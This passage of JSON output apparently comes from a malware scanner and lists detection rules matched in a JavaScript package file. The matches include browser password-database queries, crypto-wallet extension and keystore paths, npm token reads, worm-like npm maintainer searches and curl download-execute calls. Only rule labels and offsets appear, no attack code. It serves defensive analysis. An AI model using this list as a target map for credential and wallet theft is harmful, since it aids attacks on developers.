            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::module-level-side-effect-call",
            "conf": 0.82,
            "crit": 3,
            "desc": "Python module-level function call",
            "spans": [
              [
                36230,
                103
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::python-exists-and-copy",
            "conf": 0.96,
            "crit": 3,
            "desc": "Python checks path before copying",
            "spans": [
              [
                36090,
                101
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::shutil-copy",
            "conf": 0.8,
            "crit": 3,
            "desc": "Python shutil copies a file",
            "spans": [
              [
                36178,
                12
              ]
            ]
          },
          {
            "id": "metadata/build/package/recipe::python-install-hook",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python package custom lifecycle hook",
            "uses": [
              77,
              79
            ],
            "spans": [
              [
                35854,
                39
              ],
              [
                36373,
                20
              ]
            ]
          },
          {
            "id": "metadata/build/pip::packaging-setuptools-imported-setup-call",
            "conf": 0.95,
            "crit": 3,
            "desc": "Imported setuptools setup call",
            "spans": [
              [
                33979,
                35
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/console/io::dense-stderr-suppression",
            "conf": 0.85,
            "crit": 3,
            "desc": "Dense stderr suppression pattern",
            "spans": [
              [
                2517,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/console/io::redirect-dev-null",
            "conf": 0.5,
            "crit": 2,
            "desc": "Redirect to /dev/null",
            "spans": [
              [
                2518,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/browser/chromium::browser-creds-table-sql",
            "atk": "T1555.003",
            "conf": 0.9,
            "crit": 3,
            "desc": "SQL query against a browser credential table",
            "spans": [
              [
                2454,
                61
              ]
            ]
          },
          {
            "id": "objectives/credential-access/browser/chromium::password-sql",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 4,
            "desc": "Chromium Login Data SQL query",
            "spans": [
              [
                2454,
                61
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/download/curl::curl-silent-fail-flags-text",
            "atk": "T1105",
            "conf": 0.86,
            "crit": 1,
            "desc": "curl text contains silent or fail flags",
            "spans": [
              [
                27081,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/catalog/service::service-name-github",
            "conf": 0.6,
            "crit": 1,
            "desc": "GitHub service name",
            "spans": [
              [
                14993,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                37398,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/string/cloud::gcp-default-credentials",
            "conf": 0.8,
            "crit": 2,
            "desc": "GCP default credential filename",
            "spans": [
              [
                6109,
                0
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-child-process",
            "conf": 0.8,
            "crit": 3,
            "desc": "require() of the child_process module",
            "spans": [
              [
                233,
                7
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-fs",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js fs module",
            "spans": [
              [
                165,
                0
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-http",
            "conf": 0.75,
            "crit": 3,
            "desc": "Imports the Node.js HTTP module",
            "spans": [
              [
                69,
                7
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-https",
            "conf": 0.78,
            "crit": 3,
            "desc": "Imports the Node.js HTTPS module",
            "spans": [
              [
                36,
                7
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-os",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js os module",
            "spans": [
              [
                135,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/files/runtime::javascript-dist-tree-artifact",
            "conf": 0.95,
            "crit": 3,
            "desc": "JavaScript/TypeScript file under dist",
            "spans": [
              [
                0,
                27
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/auth::access-token-field-reference",
            "conf": 0.96,
            "crit": 3,
            "desc": "Access-token field reference",
            "spans": [
              [
                6483,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/download/curl::node-execsync-curl-download",
            "atk": "T1105",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node execSync invokes curl download",
            "spans": [
              [
                27071,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/accept::accept-json-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.95,
            "crit": 3,
            "desc": "Requests a JSON HTTP response",
            "spans": [
              [
                23453,
                26
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::raw-content-length-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets an HTTP Content-Length header",
            "spans": [
              [
                16924,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::request-write-payload-variable",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.84,
            "crit": 3,
            "desc": "HTTP request sends payload variable",
            "spans": [
              [
                18110,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::bearer-authorization-prefix",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.93,
            "crit": 1,
            "desc": "Contains an HTTP Bearer authorization prefix",
            "spans": [
              [
                23376,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::https-request",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js https.request",
            "spans": [
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::request-end-call",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.72,
            "crit": 1,
            "desc": "Ends a request-like object with .end()",
            "spans": [
              [
                17407,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::request-write-call",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.72,
            "crit": 3,
            "desc": "JavaScript writes HTTP request body",
            "spans": [
              [
                17390,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::user-agent-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.5,
            "crit": 2,
            "desc": "User-Agent header",
            "spans": [
              [
                23402,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/configuration::node-http-request-configured",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node HTTP request has hostname and port",
            "spans": [
              [
                16714,
                55
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/configuration::request-timeout-destroys-request",
            "conf": 0.85,
            "crit": 3,
            "desc": "Request timeout handler destroys the request",
            "spans": [
              [
                17299,
                39
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/dynamic::node-selected-transport-request",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node calls selected HTTP transport",
            "spans": [
              [
                16705,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/evented::node-evented-get-response",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node get call receives an evented response",
            "spans": [
              [
                34517,
                56
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response-code::source-http-200-status",
            "atk": "T1190",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Source compares HTTP status to 200",
            "spans": [
              [
                22720,
                18
              ],
              [
                24554,
                24
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response::node-response-data-event",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node response data event handler",
            "spans": [
              [
                17092,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response::node-response-end-event",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node response end event handler",
            "spans": [
              [
                17130,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/services/registry::npm-dist-tags-read",
            "atk": "T1071.001",
            "conf": 0.85,
            "crit": 3,
            "desc": "Reads npm registry distribution tags",
            "spans": [
              [
                26585,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/token-auth::bearer-header-from-variable",
            "conf": 0.94,
            "crit": 3,
            "desc": "Builds Bearer authorization header from variable",
            "spans": [
              [
                23359,
                25
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/domain::js-leading-dot-dns-suffix",
            "conf": 0.9,
            "crit": 3,
            "desc": "Leading-dot DNS suffix string literal",
            "spans": [
              [
                17561,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/webhook::webhook-post-method-field",
            "conf": 0.9,
            "crit": 3,
            "desc": "Webhook specifies HTTP POST",
            "spans": [
              [
                16525,
                327
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-text-call",
            "mbc": "C0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node.js HMAC call in source text",
            "spans": [
              [
                20690,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/kdf/algorithm::chrome-compatible-kdf-salt",
            "conf": 0.9,
            "crit": 3,
            "desc": "Chrome-compatible key-derivation salt literal",
            "spans": [
              [
                1452,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/blockchain/transaction::solana-library-reference",
            "conf": 0.8,
            "crit": 3,
            "desc": "Solana blockchain library reference",
            "spans": [
              [
                8112,
                7
              ],
              [
                8157,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::aes-256-cbc-dash",
            "mbc": "C0027",
            "conf": 0.75,
            "crit": 3,
            "desc": "AES-256-CBC with dashes",
            "spans": [
              [
                15859,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::createCipheriv",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "Creates cipher with initialization vector",
            "spans": [
              [
                15836,
                21
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::createDecipheriv",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "Creates decipher with initialization vector",
            "spans": [
              [
                1720,
                23
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/decrypt::js-decrypt-helper-call",
            "mbc": "C0027",
            "conf": 0.94,
            "crit": 3,
            "desc": "JavaScript decrypt helper function call",
            "spans": [
              [
                3068,
                21
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/buffer::javascript-write-then-end-stream",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript writes then ends a stream",
            "spans": [
              [
                17393,
                23
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/llm::role-line-marker",
            "conf": 0.72,
            "crit": 1,
            "desc": "Quoted LLM role label",
            "spans": [
              [
                14698,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::command-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Command field or assignment key",
            "spans": [
              [
                29592,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "spans": [
              [
                2414,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "spans": [
              [
                15916,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "spans": [
              [
                15916,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-payload-call",
            "conf": 0.92,
            "crit": 3,
            "desc": "Serializes a payload object as JSON",
            "spans": [
              [
                15916,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/array::temporary-array-element-read",
            "conf": 0.8,
            "crit": 2,
            "desc": "Reads an array element into a variable",
            "spans": [
              [
                2909,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-system-metric-schema",
            "conf": 0.93,
            "crit": 3,
            "desc": "Host recon fields: hostname, platform, arch",
            "spans": [
              [
                14718,
                75
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::hostname-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a hostname key",
            "spans": [
              [
                14710,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::username-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a username key",
            "spans": [
              [
                3251,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/string/concat::leading-variable-dotted-name",
            "conf": 0.9,
            "crit": 3,
            "desc": "Dotted name built from a leading variable",
            "spans": [
              [
                17543,
                30
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/string/search::js-includes-indexof-call",
            "conf": 0.82,
            "crit": 2,
            "desc": "Searches strings with includes or indexOf",
            "spans": [
              [
                10479,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::fs-readdir",
            "conf": 0.6,
            "crit": 3,
            "desc": "Calls Node.js readdir at least twice",
            "spans": [
              [
                4888,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::node-readdir-sync-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Calls Node.js synchronous directory enumeration",
            "spans": [
              [
                4888,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::fs-copyfileSync",
            "conf": 0.75,
            "crit": 3,
            "desc": "Copy file sync (fs.copyFileSync)",
            "spans": [
              [
                2359,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::fs-unlinkSync",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 2,
            "desc": "Deletes a file synchronously with fs.unlinkSync",
            "spans": [
              [
                2676,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "spans": [
              [
                28748,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "spans": [
              [
                28748,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "spans": [
              [
                28748,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/config::id-json-filename-literal",
            "conf": 0.8,
            "crit": 1,
            "desc": "References generic ID JSON filename",
            "spans": [
              [
                8167,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/executable::wallet-ledger-live-process",
            "conf": 0.85,
            "crit": 3,
            "desc": "Ledger Live desktop wallet process name",
            "spans": [
              [
                13119,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::node-homedir-hidden-entry",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node builds a hidden home-directory path",
            "spans": [
              [
                21525,
                32
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::chromium-leveldb-local-storage",
            "conf": 0.86,
            "crit": 3,
            "desc": "Chromium Local Storage LevelDB path",
            "spans": [
              [
                12033,
                24
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::chromium-local-extension-settings-path",
            "atk": "T1555.003",
            "conf": 0.78,
            "crit": 3,
            "desc": "Chromium Local Extension Settings path",
            "spans": [
              [
                8511,
                24
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credential-filenames::auth-json-join-argument",
            "conf": 0.9,
            "crit": 3,
            "desc": "Auth JSON path construction",
            "spans": [
              [
                7157,
                107
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::shell-history-file-path",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "References a shell history file path",
            "spans": [
              [
                13385,
                13
              ],
              [
                13442,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/crypto::node-user-solana-config-directory",
            "conf": 0.94,
            "crit": 3,
            "desc": "References user Solana config directory",
            "spans": [
              [
                8145,
                19
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/ssh::bash-history-artifact",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bash history artifact path",
            "spans": [
              [
                13385,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/listing::javascript-proc-directory-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "JavaScript reads the /proc directory",
            "spans": [
              [
                13993,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/temp/directory::node-mkdtemp-os-tmpdir",
            "conf": 0.88,
            "crit": 3,
            "desc": "Creates a randomized temp staging directory",
            "spans": [
              [
                27012,
                33
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/temp/directory::os-tmpdir",
            "conf": 0.8,
            "crit": 2,
            "desc": "Uses the Node.js system temporary directory",
            "spans": [
              [
                2292,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/access::javascript",
            "conf": 0.8,
            "crit": 2,
            "desc": "Access environment variables",
            "spans": [
              [
                264,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::github-actions-flag",
            "conf": 0.85,
            "crit": 3,
            "desc": "GITHUB_ACTIONS runtime flag",
            "spans": [
              [
                14975,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--buildkite",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (BUILDKITE)",
            "spans": [
              [
                4040,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--gitlab",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (GITLAB_CI)",
            "spans": [
              [
                15037,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--travis",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (TRAVIS)",
            "spans": [
              [
                4028,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-ci",
            "conf": 0.75,
            "crit": 3,
            "desc": "Reads CI environment flag",
            "spans": [
              [
                14931,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-github-actions",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads GITHUB_ACTIONS CI variable",
            "spans": [
              [
                14963,
                26
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-github-repository",
            "conf": 0.78,
            "crit": 3,
            "desc": "Reads GITHUB_REPOSITORY CI variable",
            "spans": [
              [
                15092,
                29
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::npm-token-env-read",
            "conf": 0.95,
            "crit": 3,
            "desc": "Reads NPM_TOKEN from JavaScript env",
            "spans": [
              [
                21360,
                21
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::node-os-alias-hostname-call",
            "atk": "T1082",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias hostname query",
            "spans": [
              [
                14728,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::os-hostname-call",
            "atk": "T1082",
            "conf": 0.75,
            "crit": 3,
            "desc": "os.hostname() call",
            "spans": [
              [
                14728,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::js-platform-linux-check",
            "conf": 0.6,
            "crit": 2,
            "desc": "process.platform Linux check",
            "spans": [
              [
                12691,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::os-platform-call",
            "conf": 0.75,
            "crit": 2,
            "desc": "Queries OS platform with os.platform()",
            "spans": [
              [
                12691,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-cwd-call",
            "conf": 0.7,
            "crit": 2,
            "desc": "process.cwd() call",
            "spans": [
              [
                5263,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-call",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Runs shell commands synchronously with execSync",
            "spans": [
              [
                2423,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-dynamic-command",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.92,
            "crit": 3,
            "desc": "execSync receives a variable command",
            "spans": [
              [
                29765,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Executes shell commands synchronously",
            "spans": [
              [
                2423,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-require-destructure-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Destructures Node exec from require",
            "spans": [
              [
                218,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::node-os-alias-homedir-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias home directory query",
            "spans": [
              [
                4544,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::node-os-alias-userinfo-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias user identity query",
            "spans": [
              [
                14809,
                11
              ]
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::wallet-extension",
            "atk": "T1555",
            "mbc": "B0024",
            "conf": 0.85,
            "crit": 3,
            "desc": "Cryptocurrency wallet path extension",
            "spans": [
              [
                11487,
                13
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-child-process-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves child process module",
            "spans": [
              [
                233,
                0
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-https-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves Node HTTPS module",
            "spans": [
              [
                36,
                0
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-stage-unlink-symbol",
            "conf": 1.0,
            "crit": 1,
            "desc": "Node stage unlink identifier",
            "spans": [
              [
                2679,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/desktop::node-ethereum-keystore-path",
            "atk": "T1555",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "JavaScript constructs Ethereum keystore path",
            "spans": [
              [
                8211,
                38
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/extension::phantom",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "Standalone Phantom extension ID",
            "spans": [
              [
                9770,
                34
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/keywords::wallets-word",
            "conf": 0.5,
            "crit": 1,
            "desc": "Wallets keyword",
            "spans": [
              [
                8401,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/solana::solana-keypair-reference",
            "atk": "T1555",
            "conf": 0.85,
            "crit": 1,
            "desc": "Solana keypair reference",
            "spans": [
              [
                8112,
                0
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/hidden-payload/worm::npm-maintainer-search-api",
            "atk": "T1195.002",
            "mbc": "F0001",
            "conf": 0.94,
            "crit": 4,
            "desc": "Queries npm maintainer package search",
            "spans": [
              [
                24488,
                27
              ]
            ]
          },
          {
            "id": "well-known/app/browser-extension/metamask::chrome-extension-id",
            "conf": 0.99,
            "crit": 3,
            "desc": "MetaMask Chrome extension ID",
            "spans": [
              [
                8539,
                32
              ]
            ]
          },
          {
            "id": "well-known/lib/network/registry-auth-token::auth-token-key",
            "conf": 0.99,
            "crit": 3,
            "desc": "npm _authToken config key",
            "spans": [
              [
                5358,
                11
              ]
            ]
          },
          {
            "id": "well-known/tool/development/ide-contexts::embedded-python-pip-install",
            "conf": 0.94,
            "crit": 3,
            "desc": "Embedded Python pip install bootstrap",
            "spans": [
              [
                37072,
                11
              ]
            ]
          },
          {
            "id": "metadata/file/profile/identity::sequential-identifiers",
            "conf": 0.8,
            "crit": 2,
            "desc": "Sequential source identifier names",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/string/telemetry::session-id-field-js",
            "conf": 0.88,
            "crit": 1,
            "desc": "Contains a session identifier field",
            "spans": [
              [
                16544,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::application-json",
            "conf": 0.65,
            "crit": 3,
            "desc": "References the application/json media type",
            "spans": [
              [
                16897,
                16
              ],
              [
                31809,
                128
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/custom::non-mozilla-user-agent-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets a non-Mozilla User-Agent header",
            "spans": [
              [
                23402,
                40
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/headers::authorization-header-map-entry",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Defines an HTTP Authorization header mapping",
            "spans": [
              [
                23358,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::post-method-text",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.94,
            "crit": 3,
            "desc": "Configures an HTTP POST request",
            "spans": [
              [
                16839,
                6
              ],
              [
                16847,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/domain::js-remote-host-url",
            "conf": 0.75,
            "crit": 3,
            "desc": "Contains a hardcoded remote HTTP(S) URL",
            "spans": [
              [
                476,
                33
              ],
              [
                637,
                26
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/path::js-url-host-read",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads hostname from URL variable",
            "spans": [
              [
                16741,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/path::telemetry-api-path",
            "conf": 0.78,
            "crit": 3,
            "desc": "Telemetry endpoint URL path",
            "spans": [
              [
                476,
                47
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Code embeds cleartext HTTP URL literal",
            "spans": [
              [
                30929,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/ip/endpoint::https-port-443-protocol",
            "conf": 0.6,
            "crit": 1,
            "desc": "References HTTPS service port 443",
            "spans": [
              [
                16792,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/asymmetric/rsa::node-crypto-public-encrypt",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node.js crypto.publicEncrypt RSA call",
            "spans": [
              [
                16011,
                21
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/hash/hmac::hmac-api-reference",
            "mbc": "C0029",
            "conf": 0.9,
            "crit": 3,
            "desc": "References an HMAC API",
            "spans": [
              [
                20690,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/provider::asymmetric-public-encrypt",
            "conf": 0.75,
            "crit": 3,
            "desc": "Node public key encryption",
            "spans": [
              [
                16011,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/provider::create-hmac",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node crypto HMAC creation",
            "spans": [
              [
                20683,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/provider::pbkdf2-call",
            "conf": 0.72,
            "crit": 3,
            "desc": "JavaScript PBKDF2 API call",
            "spans": [
              [
                1535,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/encode/base64::tostring-base64",
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 encoding via toString (JS)",
            "spans": [
              [
                8955,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/encode/url::encode-uri-component-call",
            "conf": 0.7,
            "crit": 3,
            "desc": "URL-encodes data via encodeURIComponent",
            "spans": [
              [
                26392,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/string/replace::chained-replace-calls",
            "conf": 0.9,
            "crit": 3,
            "desc": "Chains multiple JavaScript string replacements",
            "spans": [
              [
                27636,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/delete::fs-rm-recursive",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node.js fs.rm with recursive option",
            "spans": [
              [
                30808,
                27
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/mkdir::recursive-mkdir-sync",
            "conf": 0.9,
            "crit": 3,
            "desc": "Creates a directory tree synchronously",
            "spans": [
              [
                28949,
                39
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::traverse-readdir-walk-find",
            "conf": 0.85,
            "crit": 2,
            "desc": "Traverses directories using common APIs",
            "spans": [
              [
                4888,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::readfilesync-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls readFileSync",
            "spans": [
              [
                4668,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/executable::browser-apps-brave",
            "conf": 0.5,
